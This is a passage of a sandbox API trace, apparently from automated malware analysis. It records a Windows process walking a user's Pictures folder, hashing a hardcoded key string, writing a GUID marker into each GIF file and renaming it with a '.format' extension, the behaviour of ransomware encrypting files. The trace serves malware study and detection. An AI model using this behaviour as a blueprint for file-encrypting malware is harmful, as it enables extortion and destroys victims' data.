(HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.638] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\") returned="W20eWw_7BDOqTilgo1fv\\" [0068.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.639] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\") returned="mwC61ttLhFHO7U8H\\" [0068.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.639] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0068.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.639] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.639] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.639] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.639] PathFindFileNameW (pszPath="") returned="" [0068.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.639] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f1af3e0, ftCreationTime.dwHighDateTime=0x1d4ccce, ftLastAccessTime.dwLowDateTime=0x10c6e0a0, ftLastAccessTime.dwHighDateTime=0x1d4ce58, ftLastWriteTime.dwLowDateTime=0x10c6e0a0, ftLastWriteTime.dwHighDateTime=0x1d4ce58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.639] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f1af3e0, ftCreationTime.dwHighDateTime=0x1d4ccce, ftLastAccessTime.dwLowDateTime=0x10c6e0a0, ftLastAccessTime.dwHighDateTime=0x1d4ce58, ftLastWriteTime.dwLowDateTime=0x10c6e0a0, ftLastWriteTime.dwHighDateTime=0x1d4ce58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.639] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb73e0d70, ftCreationTime.dwHighDateTime=0x1d4c979, ftLastAccessTime.dwLowDateTime=0xd6c72850, ftLastAccessTime.dwHighDateTime=0x1d4d1e1, ftLastWriteTime.dwLowDateTime=0xd6c72850, ftLastWriteTime.dwHighDateTime=0x1d4d1e1, nFileSizeHigh=0x0, nFileSizeLow=0x225f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1L3e.gif", cAlternateFileName="")) returned 1 [0068.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.639] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\1L3e.gif") returned=".gif" [0068.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\1L3e.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\w20eww_7bdoqtilgo1fv\\1l3e.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.640] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=8799) returned 1 [0068.640] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.642] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2239, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.642] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.643] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.643] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x225f, lpOverlapped=0x0) returned 1 [0068.643] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.643] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.643] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.643] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.643] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.644] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.644] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.644] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.644] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.644] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.644] GetLastError () returned 0x0 [0068.644] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.644] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.644] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x225f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.644] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.644] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.645] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.645] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.645] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.645] CloseHandle (hObject=0x5c8) returned 1 [0068.646] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.646] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.646] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\1L3e.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\w20eww_7bdoqtilgo1fv\\1l3e.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\1L3e.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\w20eww_7bdoqtilgo1fv\\1l3e.gif.format")) returned 1 [0068.647] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6aa1d180, ftCreationTime.dwHighDateTime=0x1d4cfbf, ftLastAccessTime.dwLowDateTime=0xee2a52a0, ftLastAccessTime.dwHighDateTime=0x1d4c74c, ftLastWriteTime.dwLowDateTime=0xee2a52a0, ftLastWriteTime.dwHighDateTime=0x1d4c74c, nFileSizeHigh=0x0, nFileSizeLow=0xdc1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5fx9fx.gif", cAlternateFileName="")) returned 1 [0068.647] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.647] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.647] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\5fx9fx.gif") returned=".gif" [0068.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\5fx9fx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\w20eww_7bdoqtilgo1fv\\5fx9fx.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.647] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=56349) returned 1 [0068.647] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.650] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xdbf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.650] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.651] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.651] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xdc1d, lpOverlapped=0x0) returned 1 [0068.651] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.651] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.651] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.651] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.651] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.652] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.652] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.652] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.652] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.652] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.652] GetLastError () returned 0x0 [0068.652] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.652] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.653] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xdc1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.653] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.653] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.653] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.653] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.653] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.653] CloseHandle (hObject=0x5c8) returned 1 [0068.654] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.654] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.654] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\5fx9fx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\w20eww_7bdoqtilgo1fv\\5fx9fx.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\5fx9fx.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\w20eww_7bdoqtilgo1fv\\5fx9fx.gif.format")) returned 1 [0068.657] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e93d0d0, ftCreationTime.dwHighDateTime=0x1d4ca5c, ftLastAccessTime.dwLowDateTime=0x76096a30, ftLastAccessTime.dwHighDateTime=0x1d4c60d, ftLastWriteTime.dwLowDateTime=0x76096a30, ftLastWriteTime.dwHighDateTime=0x1d4c60d, nFileSizeHigh=0x0, nFileSizeLow=0x558f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C1kvrYt.gif", cAlternateFileName="")) returned 1 [0068.657] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.657] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.657] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\C1kvrYt.gif") returned=".gif" [0068.657] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\C1kvrYt.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\w20eww_7bdoqtilgo1fv\\c1kvryt.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.657] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=21903) returned 1 [0068.657] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.660] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5569, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.660] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.661] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.661] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x558f, lpOverlapped=0x0) returned 1 [0068.661] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.661] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.661] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.661] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.661] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.662] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.662] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.662] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.662] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.662] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.662] GetLastError () returned 0x0 [0068.662] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.662] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.662] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x558f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.662] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.662] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.662] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.662] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.662] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.663] CloseHandle (hObject=0x5c8) returned 1 [0068.664] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0068.664] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.664] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\C1kvrYt.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\w20eww_7bdoqtilgo1fv\\c1kvryt.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\W20eWw_7BDOqTilgo1fv\\C1kvrYt.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\w20eww_7bdoqtilgo1fv\\c1kvryt.gif.format")) returned 1 [0068.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e93d0d0, ftCreationTime.dwHighDateTime=0x1d4ca5c, ftLastAccessTime.dwLowDateTime=0x76096a30, ftLastAccessTime.dwHighDateTime=0x1d4c60d, ftLastWriteTime.dwLowDateTime=0x76096a30, ftLastWriteTime.dwHighDateTime=0x1d4c60d, nFileSizeHigh=0x0, nFileSizeLow=0x558f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C1kvrYt.gif", cAlternateFileName="")) returned 0 [0068.665] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.665] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.665] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175418 [0068.665] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, 